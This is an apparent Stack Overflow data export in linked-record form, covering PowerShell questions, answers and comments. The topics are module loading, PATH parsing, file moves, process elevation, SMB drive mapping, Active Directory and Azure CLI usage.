has body: First: from the code you did post, $files is, in fact, empty. Thus the error is expected. You need Second: the param () parameter block is not for the Foreach-Object scriptblock. If you want to use the variable name $file to refer each element you to to assign it the value of the relative automatic variable, $_ with a simple $file = $_ Third: you have an extra "@ after Write-Output "Backup loop completed". Remove it, as it would break the code if it ever makes down there.
score: 1
answers question: http://stackoverflow.com/q/79381065
downvote count: 0
type: Answer

http://stackoverflow.com/a/79343142
type: Answer
has body: I tested some solutions and measured it with put my module between commands: $ExecutionTime = [System.Diagnostics.Stopwatch]::StartNew() Import-Module -Name .\TestModule -Verbose -Force $ExecutionTime.Stop(); $ExecutionTime.Elapsed Best for my scenario was list of all functions and add that list into psd1 file: FunctionsToExport = @( 'Function1' 'Function2' 'Function3' ) After I simply add them all, loading of my module increased. I will also remove in some scenarios '-Force' switch as suggested, when I specially know this module was already loaded before. This will probably handle with one more command to check is my module is already loaded, like in one of the answers of this topic: How do I check if a PowerShell module is installed?
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79338576
downvote count: 0

http://stackoverflow.com/a/79372760
has body: iRon's helpful answer shows you how you can parse the $env:PATH value manually into its constituent directory paths in a manner that respects double-quoted entries.[1] As for your questions: Is this behavior intentional in PowerShell? I don't think so, and it is arguably a bug, as discussed in GitHub issue #24002; quoting from this comment (of mine): Indeed, PowerShell doesn't support "..."-enclosed entries in $env:PATH in direct invocation (see below), whereas cmd.exe does. Note that POSIX-compatible shells such as bash, like PowerShell, also do not support "..."-enclosed entries. Arguably, PowerShell and POSIX-compatible shells either should support "..."-enclosed entries or support a way to escape the entry-separator character (which is ; on Windows, and : on Unix-like platforms), but they do not. By contrast, when you use Start-Process, as well as the [System.Diagnostics.Process] API with UseShellExecute = $true, which is equivalent, "..."-enclosed entries ARE recognized. This may come down to differences between two WinAPI functions: CreateProcess() as used in direct invocation and with UseShellExecute = $false (the default) in .NET (Core) vs. ShellExecuteEx() as used by Start-Process by default and with UseShellExecute = $true. Given that direct invocation in cmd.exe (as opposed to use of the internal start command) presumably also uses CreateProcess(), there may be custom logic in cmd.exe for interpreting %PATH%. Is there a workaround? Assuming that creation of short (8.3) file names is turned on (it is by default), you can take advantage of the fact that a file name containing ; always has a short name generated for it, even if it otherwise has 8 or fewer chars. in the base name and an extension with 3 or fewer chars and that the resulting short name is guaranteed not to contain ; or spaces; e.g.: # -> e.g., 'C:\M_YFOL~1' $shortFolderPath = (New-Object -ComObject Scripting.FileSystemObject).GetFolder("C:\;My Folder").ShortPath In other words: Replace those $…
type: AcceptedAnswer
score: 4
upvote count: 4
type: Answer
answers question: http://stackoverflow.com/q/79369963
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79369963

http://stackoverflow.com/comment/139760000
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79256211
has text: yes, and I got a return. ModuleType Version Name ExportedCommands ---------- ------- ---- ---------------- Binary 16.0.25... Microsoft.Online.SharePoint.Powe... {New-SPOListFileVersionBatchDeleteJob, Remove-SPOListFileVersionBatchDeleteJob, Get-SPOListF... This means that the module is already installed in the server.
type: Comment

http://stackoverflow.com/q/79382926
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/79383590
has title: Mass saving PDFs (with unique ID at the start of the PDF) to folders that have unique ID at the end
has answer: http://stackoverflow.com/a/79384020
tagged with: directory
possible better answer: http://stackoverflow.com/a/79384020
accepted answer: http://stackoverflow.com/a/79383590
tagged with: http://stackoverflow.com/tag/pdf
answer count: 2
type: Question
has body: I've tried to figure out this one and searched far and wide to see if others have found a previous solution but couldnt find anything. I'm fairly new to powershell so please bare with me. I have hundreds of files that are titled similarly, with the unique ID being at the beginning of the title: unique ID_2024 Details.pdf. I want to move the PDF files in this directory C:\F\2024 Detailed Letters to the individual folders in this folder C\:F\Individual Folders\XXX_XXXX [unique ID]. The unique ID contains 8 characters. There are thousands of folders in the individual folders folder, so each letter would need to be sent to the folder with the unique id at the end. I'm having trouble using Substring as I haven't been able to figure out how to match the unique ID at the beginning of the PDF name to the unique ID at the end of the folder title. I do not have the option to rename the folders or files. Thank you! $FilesToMove = 'C:\F\2024 Detailed Letters' $TargetPath = 'C\:F\Individual Folders' $Files = Get-ChildItem -Path $FilesToMove -File foreach ($File in $Files) { $PathToMove = Get-ChildItem -Path $TargetPath -Directory -Filter "$(($File.Basename).Substring(0,8))*" | Select-Object -First 1 Write-Output "Moving File $File to $PathToMove" Move-Item -Path $File.FullName -Destination "$($PathToMove.Fullname)\$($File.Name)" }
tagged with: powershell

http://stackoverflow.com/comment/139761678
score: 1
type: QuestionComment
has text: Not sure were you exactly want to output to (just the screen?) and looking for (I am not very much into C#) but from a PowerShell view, you could also consider multiple pipelines by [Mastering the (steppable) pipeline](https://devblogs.microsoft.com/powershell-community/mastering-the-steppable-pipeline/).
comment on: http://stackoverflow.com/q/79256553
type: Comment

http://stackoverflow.com/comment/139849478
has text: What is empty? Can u output the the main node (outerxml)? If true can u access the project node? Keep on drilling deeper till u find the problem
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79303120
type: QuestionComment

http://stackoverflow.com/comment/140044595
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79410051
has text: AD Roles, like Domain Admin is unrelated to the command you're running. `IsInRole` will check if the User running a process has the specified role (Administrator in this case). If you want to see if X user could elevate the process you could check if he is a member of the Administrators group: `Get-LocalGroupMember Administrators`

http://stackoverflow.com/comment/140047495
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79411096
score: 0
has text: By default a schedule task runs as System Account with no environmental variables. The solution is to create a service account with Admin Privilege. The start service with Run As using the service account.

http://stackoverflow.com/comment/139742779
comment on: http://stackoverflow.com/a/79245269
type: Comment
score: 0
has text: Thank you for contributing to the Stack Overflow community. This may be a correct answer, but it’d be really useful to provide additional explanation of your code so developers can understand your reasoning. This is especially useful for new developers who aren’t as familiar with the syntax or struggling to understand the concepts. **Would you kindly [edit] your answer to include additional details for the benefit of the community?**
type: AnswerComment

admin-rights
tag name: admin-rights
type: Tag
tags question: http://stackoverflow.com/q/79305652

http://stackoverflow.com/comment/140058582
score: 0
comment on: http://stackoverflow.com/a/79415054
type: AnswerComment
has text: @GermanKiwi Please see my edited regex. As you say, an easy fix.
type: Comment

http://stackoverflow.com/comment/140001636
type: Comment
has text: But the `$Installs` nested array always has 3 elements, and requires [x, y] to reference what is in it. I still don't see the difference in this example.
score: 0
comment on: http://stackoverflow.com/q/79385371
type: QuestionComment

cancellation
type: Tag
tags question: http://stackoverflow.com/q/79246029
tag name: cancellation

http://stackoverflow.com/comment/139950561
type: QuestionComment
type: Comment
has text: The issue described in the link seems to be a different issue which I am not facing: # > Connect-AzAccount : InteractiveBrowserCredential authentication failed: A window handle must be configured.
score: 0
comment on: http://stackoverflow.com/q/79352193

http://stackoverflow.com/comment/139821253
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79290410
score: 0
has text: Because what is relative to PowerShell (the script) is not the same as what is relative to robocopy.exe. When calling an application outside Powershell **always** use full absolute paths

http://stackoverflow.com/comment/139826527
has text: PowerShell is general a loosely language but classes come from outside and are strict. Meaning the methods ("functions") either return nothing (`[Void]`) or an explicit type. Saying that, that type might even be even and generic `[Object]` which includes even a `$Null` or an ["enumerable null"](https://learn.microsoft.com/powershell/scripting/learn/deep-dives/everything-about-null#enumerable-null).
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79293130

http://stackoverflow.com/comment/140048222
comment on: http://stackoverflow.com/q/79410051
type: QuestionComment
type: Comment
has text: Thanks for the ideas @SantiagoSquarzon. I am a bit green on LDAP queries, especially in Powershell. And mklemtno0's full solution works now.
score: 0

http://stackoverflow.com/comment/139948618
comment on: http://stackoverflow.com/a/79359553
type: Comment
type: AnswerComment
score: 1
has text: $node = $xml.SelectSingleNode("//Record[@Key='ToolSetManager']") this is what I couldn't figure out. I also found this one to check if the path already exists: $childXPath = "//Path[text()='Null.btx']" Do you know where the docs on these are found? Thanks.

http://stackoverflow.com/a/79308669
has comment: http://stackoverflow.com/comment/139854745
score: 1
has comment: http://stackoverflow.com/comment/139853016
upvote count: 1
has comment: http://stackoverflow.com/comment/139853290
has comment: http://stackoverflow.com/comment/139853008
has body: Another way, skipping the first 3 bytes of the BOM. You need the double quotes to escape the pipe symbols from cmd. Use the same filename if you wish. powershell "(get-content myfile.txt -Encoding Byte) | select -skip 3 | set-content myfile2.txt -Encoding Byte" Here's a test you can run first that sets the errorlevel: powershell "'239 187 191' -eq (get-content myfile.txt -Encoding Byte -totalcount 3)" | findstr True
has comment: http://stackoverflow.com/comment/139854749
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/79307726
has comment: http://stackoverflow.com/comment/139853723
has comment: http://stackoverflow.com/comment/139853031
has comment: http://stackoverflow.com/comment/139853049

http://stackoverflow.com/q/79285339
has comment: http://stackoverflow.com/comment/139814346
has title: How do I get a list of Service Principals in Azure via the CLI
favorite count: 0
accepted answer: http://stackoverflow.com/a/79285518
has comment: http://stackoverflow.com/comment/139811279
type: Question
downvote count: 0
answer count: 1
score: 2
upvote count: 2
has body: When I run az ad sp list, I get a list of service principals which includes an accountEnabled attribute: I adjusted the command to show only the ones that are enabled using this command: az ad sp list | where-object { $_.AccountEnabled -eq 'true' } However, when I do, I get no results. What's the correct method for listing the active Service Principals?
type: AnsweredQuestion
tagged with: powershell
tagged with: azure
has comment: http://stackoverflow.com/comment/139811461
has answer: http://stackoverflow.com/a/79285518
has comment: http://stackoverflow.com/comment/139811395
tagged with: command-line-interface

http://stackoverflow.com/comment/139811461
comment on: http://stackoverflow.com/q/79285339
type: QuestionComment
type: Comment
has text: Thank you Olaf and Pratik. Both worked. Olaf, I definitely wanted the PowerShell object capability so if you can put that as an answer, I'll accept it. Bottom line, there are AZ only commands which I was using instead of powershell which I actually wanted.
score: 0

http://stackoverflow.com/q/79252830
answer count: 1
type: AnsweredQuestion
tagged with: powershell
has title: Can a new PowerShell class instance be created in an already-running remote PowerShell process from Windows PowerShell?
score: 1
upvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/79252892
linked to: http://stackoverflow.com/q/79248095
tagged with: windows
type: Question
has answer: http://stackoverflow.com/a/79252892
has body: There are some useful things that can be accomplished by connecting to an already-running PowerShell process. This answer, for example, uses that technique to gracefully stop the target PowerShell process by allowing the runspaces to first complete their cleanup. None of the obvious methods of stopping a process allow for such graceful shutdown. That solution is implemented by way of creating a runspace and powershell class instance in the target process: $pipe = [Runspaces.NamedPipeConnectionInfo]::new($Process.Id) $rs = [runspacefactory]::CreateRunspace($pipe) $rs.Open() $ps = [powershell]::Create($rs) That snippet relies on the PowerShell.Create(Runspace). That overload, however, is not available in the Windows PowerShell SDK. I'm not very familiar with PowerShell remoting and runspaces and haven't spotted an obvious way to accomplish something similar using Windows PowerShell. Is it possible? If so, how?
downvote count: 0
tagged with: runspace

http://stackoverflow.com/a/79271157
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79269077
has body: We may have a solution, turns out the test name isn't limited or wrapped. By adding the ##vso command as a test, that will allow it to be picked up by Azure. As an example, in the test post-request; pm.variables.set("testname","##vso[task.setvariable variable=MyReallyLongVariable]AndReallyLongValue")); pm.test(pm.variables.get("testname"), () => { pm.expect(true).to.eq(true); });

http://stackoverflow.com/a/79347680
downvote count: 0
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/79347202
has body: Qualify the username with server, like this: $usr = 'DBF\netfiles' And run elevated, otherwise your result will be "Access Denied". That was all. Funny how it works without server name qualification when using the non-global normal mapping call. That inconsistency threw me off. I can make the mapping permanent (survives reboot) by using the Persistent argument. Also, the drive letter created is accessible by Scheduled Tasks, even ones that have "Do not store password" enabled. For reference the complete commands I used and that worked were: $usr = 'DBF\netfiles' $pwd = ConvertTo-SecureString -AsPlainText -Force 'the-password-for-this-user' $rpa = '\\DBF\Movies' $lpa = 'M:' $creds = New-Object System.Management.Automation.PSCredential ($usr, $pwd) New-SmbGlobalMapping -Persistent $true -Credential $creds -RemotePath $rpa -LocalPath $lpa
score: 2

http://stackoverflow.com/comment/140027247
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79401218
has text: Thank you for this. I was including minimal reproducible code, but I have a few more calculated properties I include that would make this more complex for my needs.
score: 0

http://stackoverflow.com/comment/139780852
has text: Thank you for your much simpler demonstration code. Replacing `$foo = [regex]::new($using:s)` with `Set-Variable foo ([regex]::new($using:s))` or `$foo = New-Object regex $using:s` outputs `Type of the value stored in $foo: []` which, I _think_ is an example of "`Stop-Job` getting in the way of the assignment". That behavior matches the results from my test.
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79266755

http://stackoverflow.com/comment/140055215
comment on: http://stackoverflow.com/q/79415674
has text: @SantiagoSquarzon I have a solution from anubhava, but to satisfy what might be curiosity - Matching the words in between the commas, regardless of whether they are quoted or not.
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139845276
comment on: http://stackoverflow.com/q/79303993
type: QuestionComment
type: Comment
score: 0
has text: @RemyLebeau It is rather improbable that OP's C++ file is saved in UTF-8 when doing output, but not in UTF-8 when doing input.

http://stackoverflow.com/a/79353165
type: Answer
answers question: http://stackoverflow.com/q/79351553
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/139939375
accepted answer of: http://stackoverflow.com/q/79351553
upvote count: 1
type: AcceptedAnswer
has body: The error message The directory name is invalid implies that the target process, which by default inherits the caller's working (current) directory, isn't permitted to access that directory. This is a common pitfall when using Start-Process with -Credential, i.e. when launching a process as a different user.[1] To solve this problem, use the -WorkingDirectory parameter to specify a working dir. that the target user is permitted to access; C:\ is usually a safe bet. Therefore: $ps = Start-Process -WorkingDirectory C:\ -PassThru -Credential $credentials powershell @&quot; -noprofile -c Start-Process -Wait -Verb RunAs $startWithElevatedRights @&quot; [1] Note that while administrators can usually access all directories that a given user can, this only applies if the process running with the administrator user identity is already elevated. However, because Start-Process doesn't allow you to simultaneously launch a process as another user and with elevation, the outer Start-Process call - the one that uses -Credential - must of necessity create a non-elevated process first, and only in a second step is elevation as that user then possible (the nested Start-Process -Verb RunAs call); see this answer for details.
has comment: http://stackoverflow.com/comment/139940651

http://stackoverflow.com/comment/139821396
type: Comment
has text: Okay - i understand the issue now. the problem is that i don't want to return the string to the server i need to check each line .... please check my post - i modfied it.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/79286119

http://stackoverflow.com/comment/139882766
score: 0
comment on: http://stackoverflow.com/a/79324586
has text: Thanks a lot. So other cases we can retrive an argument with tohse commands I mentioned above?
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/139904026
score: 0
has text: You can also add `[CmdletBinding()]param()` at the top of `Child.ps1` and `& "./Child.ps1" -ErrorAction Stop` as alternative.
type: QuestionComment
comment on: http://stackoverflow.com/q/79336435
type: Comment

http://stackoverflow.com/comment/139993376
has text: Hi @CatBusStop, Good day to you. Have you got a chance the check my findings on quoting json strings in Azure CLI? Hope the information may help resolve your concerns in this post. Thx.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79375196

http://stackoverflow.com/a/79293814
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79293130
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/139828282
has comment: http://stackoverflow.com/comment/139828445
accepted answer of: http://stackoverflow.com/q/79293130
upvote count: 3
score: 3
has body: Dereferencing a class method like in your example yields an object of type System.Management.Automation.PSMethod - you can invoke it via the Invoke() method, but not &, so do: class MyClass { [int] $Condition [void] func1() { Write-host "hello func1" } [void] func2() { Write-host "hello func2" } [System.Management.Automation.PSMethod] GetFunc() { $func = switch ($this.Condition) { 1 { $this.func1 } 2 { $this.func2 } } return $func } static [void] Main([int]$condition) { # create instance $inst = [MyClass]@{ Condition = $condition } # select function $func = $inst.GetFunc() # invoke selected function $func.Invoke() } } [MyClass]::Main(1)

http://stackoverflow.com/comment/139899320
comment on: http://stackoverflow.com/q/79334181
type: QuestionComment
type: Comment
score: 0
has text: What is the error you receiving on your last command ?

http://stackoverflow.com/q/79350561
has comment: http://stackoverflow.com/comment/139939017
has comment: http://stackoverflow.com/comment/139941346
has title: PowerShell/Active Directory Web Services performance issue only on specific domain controllers
has comment: http://stackoverflow.com/comment/139936972
tagged with: active-directory
has comment: http://stackoverflow.com/comment/139939091
type: Question
answer count: 0
has body: Last week my team noticed some of our PowerShell AD Group management scripts throwing errors. After a little digging, we found that the 'Get-ADGroupMember' command was timing out when pointed to certain domain controllers. We have nine total DCs: five VMs and four physical. The issue is repeatable only on the four physical. Those four are running Server 2016; the VMs are Server 2022. When targeting the unaffected DCs, a sample command will return in milliseconds. The impacted DCs timeout after the five minute limit. The test group is not big. It has less than 300 members. I put ADWS in debug mode (as described here)and captured the process on one of the slow DCs and on one of the 'normal' DCs. Nothing stand out to me other than, once the process starts getting each member object, the time each object takes to retrieve is slower. Timing on other commands, such as Get-ADUser, don't seem to show any consistent measurable differences. We do not appear to be resource bound but, I did note that while the command is running on the slow DCs, we're seeing all the activity on a single core. We're coming off holiday break so usage has been light so it's hard to pin down exactly when the issue started. We also made a major change to our IAM processes a few weeks ago that roughly doubled our number of user objects from circa 30k to 70k. Our DC health checks and replication all show green following that change. Short of this being a 2016 specific issue with the December updates, I'm at a loss of where to go next. The physical servers are 8 years old but were significantly over spec. While one core is being used during the call, overall system usage is low: Slow log sample: ActiveDirectoryWebServices: [1/11/2025 11:47:05 PM] [31] GetADGroupMember: found sdsamGroupPrincipal CN=GroupX ActiveDirectoryWebServices: [1/11/2025 11:47:06 PM] [31] GetADGroupMember: member of CN=XXX DirectoryUtilities: [1/11/2025 11:47:06 PM] [31] GetTimeRemaining: remaining time is 00:05:09.5457365 ActiveD…
has comment: http://stackoverflow.com/comment/139936855
tagged with: powershell
has comment: http://stackoverflow.com/comment/139934152
has comment: http://stackoverflow.com/comment/139935462
score: 0
type: UnansweredQuestion

http://stackoverflow.com/a/79295927
upvote count: 1
accepted answer of: http://stackoverflow.com/q/79295829
score: 1
type: AcceptedAnswer
has body: What the `r escape sequence, which expands to a CR (Carriage Return) character, does is to return the terminal's (console's) cursor to the start of the current line. Notably, it does not erase the current content of that line. Therefore, in order to effectively erase the current line, you need to pad the replacement with spaces to the end of the line, which you can achieve via the .PadRight() .NET method, which by default pads with space characters, which, in effect, clear the remainder of the line: Write-Host -NoNewLine "`rSECONDLN".PadRight([Console]::WindowWidth) The above works in both Windows PowerShell and PowerShell 7. As Daniel points out, in PowerShell (Core) 7 (on all supported platforms), you can alternatively use ANSI / VT escape sequence `e[2K to clear the entire line first: Write-Host -NoNewLine "`r`e[2KSECONDLN" Alternatively, you can clear to the end of the line (the equivalent of the .PadRight() solution; the 0 in the escape sequence is optional): Write-Host -NoNewLine "`rSECONDLN`e[0K"
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/79295829

http://stackoverflow.com/comment/139910563
score: 2
type: Comment
has text: Since you are using `Import-Module` with parameter `-Force`, the module will always be reimported, even if it has been already loaded in the current session. Remove that switch to improve perf when you run your script repeatedly. One caveat - you need to create a new session (e. g. by opening a new terminal tab) when you want to test changes of your module. If you are using VSCode you can configure it to always create a new temporary session when you run your script.
comment on: http://stackoverflow.com/q/79338576
type: QuestionComment

http://stackoverflow.com/comment/139776486
has text: np.. @mklement0
type: AnswerComment
comment on: http://stackoverflow.com/a/79265961
type: Comment
score: 1

http://stackoverflow.com/a/79340004
has body: From trial and error I have been able to identify the following; The likely cause is that multiple mailboxes have the same alias, this can be found by trialing the following command; (You would identify the offending mailbox from the error specified.) Get-Mailbox sales If this yields multiple results, you can then trial the following to confirm that this is what is causing the error by using the following command; Get-MailboxStatistics sales This should throw the same error as you had before, the reason why you may have not of seen this when removing the sort command is that it will provide the results for valid mailbox identities and throw the errors between these responses. There is a couple of work around's to this issue; 1, Updating the alias on mailboxes that have duplicates, if synchronized from local AD to office 365 you will need to update the mailNickname in active directory to facilitate this. 2, Adapt the script to allow the pipeline to use a different value; Get-Mailbox -ResultSize Unlimited | Select -expand UserPrincipalName | Get-MailboxStatistics | Select-Object DisplayName, LastLogonTime | Sort LastLogonTime -Descending
answers question: http://stackoverflow.com/q/79334607
downvote count: 0
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/a/79279922
has comment: http://stackoverflow.com/comment/139809773
has comment: http://stackoverflow.com/comment/139803702
has comment: http://stackoverflow.com/comment/139803781
answers question: http://stackoverflow.com/q/79278916
downvote count: 0
has comment: http://stackoverflow.com/comment/139802698
type: Answer
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139809953
has body: I suspect your parameters to Invoke-Request are getting splatted. Basically you need to be more explicit defining variable types to avoid these types of issues. When running Invoke-Command on a remote system your single array of strings variable is interpreted as multiple positional variables being passed to the script block. As your only defining a single named argument param($apppools) in your script block your only seeing the 1st value in the original array. I've made a few changes to your code below that i think should solve your issue: Forcing $apppools to be of type [string[]] (instead of Object[]). Specifying the type of the value passed to -ArgumentList - Using ([Object[]] @(,$apppools)) instead of @($apppools) ensures you pass an [Object[]] ie an object array with 1 element. And that element is your array of app pool name strings (of type [string[]]). Ive set the type of $apppools inside the script block to [String[]] GC is Get-Content so updated for consistency only. The type of $servers doesnt really matter as that doesn't get passed to your script block, but again updated for consistency. [string[]] $apppools = Get-Content c:\temp\apppools.txt [string[]] $servers = Get-Content C:\temp\servers.txt foreach ($server in $servers){ Invoke-Command -ComputerName $server -ArgumentList ([Object[]] @(,$apppools)) -ScriptBlock { param([String[]] $apppools) (im not sure if only #2 might actually be required, but the rest is good practice to avoid weird issues with type conversion :) As a side note, if you litter your code with write-host's, you can get any variables type, and if its an array, you can get its length like this: Write-Host $apppools.GetType() Write-Host $apppools.Length I think to get any output from the script block you would need to include Start-Transcript -Path $logfilepath at the start of the block. The path/filename in $logfilepath will be created on the remote computer though.
has comment: http://stackoverflow.com/comment/139809927

http://stackoverflow.com/comment/139787764
score: 0
comment on: http://stackoverflow.com/q/79272508
type: QuestionComment
type: Comment
has text: @SantiagoSquarzon Sorry, all of them. I want to replace all of them with the same single password or just one line which doesn't specify a month. Once i have this worming I am going to run the script once a month so it generates a new one without having to check what month it is. It will change it every month regardless.

http://stackoverflow.com/comment/140062821
type: Comment
has text: The execution policy is for PowerShell scripts, not running powershell.exe commands. Therefore I see no reason why PowerShell elevation cannot continue to be used from a batch file via its `-Command` option. Either way this site is for reproducible issues with your problematic code, not a programming based news blog.
score: 7
comment on: http://stackoverflow.com/q/79419763
type: QuestionComment

http://stackoverflow.com/a/79329982
has body: Assuming you have 2 folders: Source: C:\Test\Test1 (The S Drive in your case) Link: C:\Test\Test2 (The ProgramData in your case) Your Link has a property to access the Source folder, called Target. (Get-Item -Path "C:\Test\Test2").Target This gives you the source path, which you can check for equality. I wouldn't do this unless you have confirmed the linkTarget folder exists, but this would be the way to confirm everything is setup properly: (Get-Item -Path $linkTarget).Target -eq $subfolder.FullName I think putting this in full context: $linkTarget = Join-Path -Path $folder["SystemFolder"] -ChildPath $subfolder.Name # Check If Link Folder Exists if (-not (Test-Path -Path $linkTarget)) { # Doesn't Exist, Create It Create-Symlink -SourcePath $subfolder.FullName -TargetPath $linkTarget } else { # Check If Symlink Exists and Matches - Otherwise could be a regular folder or unmatching symlink if (Get-Item -Path $linkTarget).Target -ne $subfolder.FullName) { # Delete Folder - This is Setup Incorrectly Remove-Item $linkTarget -Force # Recreate Symlink Create-Symlink -SourcePath $subfolder.FullName -TargetPath $linkTarget } else { Write-Host "$linkTarget already exists" -ForegroundColor Yellow } }
score: 1
answers question: http://stackoverflow.com/q/79329437
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79329437
downvote count: 0
type: Answer

http://stackoverflow.com/comment/140064508
score: 0
comment on: http://stackoverflow.com/q/79420062
type: QuestionComment
type: Comment
has text: Have you got an example set of the original filenames that this happens with?

http://stackoverflow.com/q/79382069
has comment: http://stackoverflow.com/comment/139992363
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139992268
tagged with: network-printers
favorite count: 0
downvote count: 2
has title: How do add networked printer with Add-Printer?
has comment: http://stackoverflow.com/comment/139991427
type: Question
has comment: http://stackoverflow.com/comment/139991925
has comment: http://stackoverflow.com/comment/139992275
upvote count: 2
has comment: http://stackoverflow.com/comment/139992342
answer count: 0
has body: Running this command in PowerShell 5.1 on Windows 11 is generating an error: Add-Printer -ConnectionName '\\server.acme.global\FollowMeDuplex' Error: Add-Printer : Invalid namespace In line:1 Character:1 Question: How can we add the printer succesfully using the Add-Printer cmdlet?
tagged with: powershell

http://stackoverflow.com/comment/139761299
type: QuestionComment
type: Comment
has text: I think you might still consider to use PowerShell for this and throw a [StopUpstreamCommandsException](https://github.com/PowerShell/PowerShell/blob/a34d0f3e808659b0c07b8fdac83aaae1dae43c21/src/System.Management.Automation/engine/lang/parserutils.cs#L186-L194), see [this helpful answer](https://stackoverflow.com/a/60791320/1701026) from @Mathias R. Jessen.
score: 1
comment on: http://stackoverflow.com/q/79256553

http://stackoverflow.com/comment/139997823
type: Comment
score: 0
has text: At the risk of labouring the point, in your code, ```$Installs``` is a jagged array where ```$Installs[0]``` returns an item which just happens itself to be another indexable array object, and then ```$Installs[0][1]``` returns an item from that nested array. Note that each nested array could be a different length, hence the "jagged" name. By contrast, in a multidimensional array each value requires N indices to identify it - e.g. ```$multi[0, 1]```. It's nitpicking, I know - I can't help myself :-).
comment on: http://stackoverflow.com/q/79385371
type: QuestionComment

http://stackoverflow.com/comment/139973414
type: AnswerComment
has text: Thanks, I was looking for Powershell but if I have to brush up my C# I guess I can. I wouldn't say this is a long term application (though who knows if it might be useful in the future). I'm dealing with a current issue, which is where I'm doing a mailbox merge on Exchange (365) and I just want to have a list of folders and emails from the source, and a list from the destination, and then I can verify if everything that should have transferred, did.
type: Comment
comment on: http://stackoverflow.com/a/79372783
score: 0

http://stackoverflow.com/comment/139913841
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79341652
type: Comment
has text: If I run the first part of the pipe, it does the same as before, but the full line would report extracting archive for no path (which is expected), type tar, everything OK, but files 0, size 0 and does not extract anything.

http://stackoverflow.com/comment/140012442
type: Comment
score: 0
has text: Perhaps you should use the full path of `robocopy.exe` in `$command`, to prevent the recursion on the command `robocopy`. (Default location in Windows is `C:\Windows\System32\robocopy.exe`.)
comment on: http://stackoverflow.com/q/79393374
type: QuestionComment

newline
tag name: newline
tags question: http://stackoverflow.com/q/79375151
type: Tag

http://stackoverflow.com/comment/139843172
type: Comment
score: 0
has text: Hi @Allen_MSFT I have used the direct file URL getting "Get-PnPFile : The object specified does not belong to a list." error Please assist. $FileRelativeURL = https://AAAA.sharepoint.com/sites/TestDocuments/Documents/test.txt
comment on: http://stackoverflow.com/q/79301292
type: QuestionComment

http://stackoverflow.com/comment/139760441
comment on: http://stackoverflow.com/q/79257011
score: 1
type: QuestionComment
type: Comment
has text: What is your question?

http://stackoverflow.com/q/79400251
upvote count: 1
favorite count: 0
has title: Get running script name from a function
type: Question
has body: I can't seem to get this idea to work with good results. I am trying to have meaningful automatic filename creating based on the running script name. function GetScriptName { $callStack = Get-PSCallStack $callerScript = $callStack[2].Location # Get the outermost script location if ([string]::IsNullOrWhiteSpace($callerScript)) { return $null } return $callerScript } If I paste the function above into a script and run that script the function works. If I import the function into a script and call it with GetScriptName while that script is running often there is nothing returned or I get the file name of the function which is not helpful. $callStack = Get-PSCallStack $callerScript = $callStack[1].Location i have tested with various numbers inside [] and I have tested a function that contains the line below [System.IO.Path]::GetFileName($MyInvocation.MyCommand.Path) All results are either blank or the file name of the function inconsistent unless the code above is run in the script itself.
has comment: http://stackoverflow.com/comment/140025749
has answer: http://stackoverflow.com/a/79401260
downvote count: 0
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79401260
answer count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/140025800
has comment: http://stackoverflow.com/comment/140026072
score: 1
has comment: http://stackoverflow.com/comment/140025793

http://stackoverflow.com/q/79312049
answer count: 2
type: Question
has answer: http://stackoverflow.com/a/79313044
has answer: http://stackoverflow.com/a/79327722
accepted answer: http://stackoverflow.com/a/79327722
possible better answer: http://stackoverflow.com/a/79313044
type: AnsweredQuestion
has title: Powershell performance degraded when importing Az modules
tagged with: powershell
tagged with: azure
score: 0
has body: I'm observing a strange performance hit in one my Powershell scripts when I import some Az modules. My script is quite complex (4k lines), but in short, it aggregates several data sources and produces a large report on 75k devices. Phase 1 of the script retrieves device data from all data sources in big batches and saves the results in hash tables. Phase 2 is a giant foreach loop that retrieves individual device information from all data sources by indexing into the various hash tables previously created. That way, the number of API calls is kept to a minimum and I can avoid hitting rate limits. This is script version 1. I recently added a new data source (Azure) to get VDI information for all Azure Virtual Desktop (AVD) session hosts and Azure VMs. To do that, I use several cmdlets from the Az.Accounts, Az.DesktopVirtualization and Az.Compute Powershell modules. Most notably Get-AzWvdSessionHost and Get-AzVM This is script version v2. The performance degradation is observed during phase 2 (where no API calls happen). V1 used to take roughly 150ms per device. Now, with AVD data, v2 takes 3 times as long: 450ms. I have since determined that if I simply add the below line at the top of v1 (and change nothing else), v1 becomes as slow as v2: Import-Module -Name 'Az.Accounts', 'Az.DesktopVirtualization', 'Az.Compute' This seems to indicate that the Az modules are somehow responsible for the performance degradation. I even tried Remove-Module -Name 'Az.Accounts', 'Az.DesktopVirtualization', 'Az.Compute' right after the import line, but I still observed the performance decline, which seems to indicate that the modules are probably still loaded in the current session somehow, and are having a big impact. I really can't explain this strange behaviour and haven't been able to find any clue online so far. I guess I could avoid the Az modules completely and query the Azure API endpoints directly with Invoke-RestMethod, but I would prefer avoiding this ! Any suggestions ? Thank…

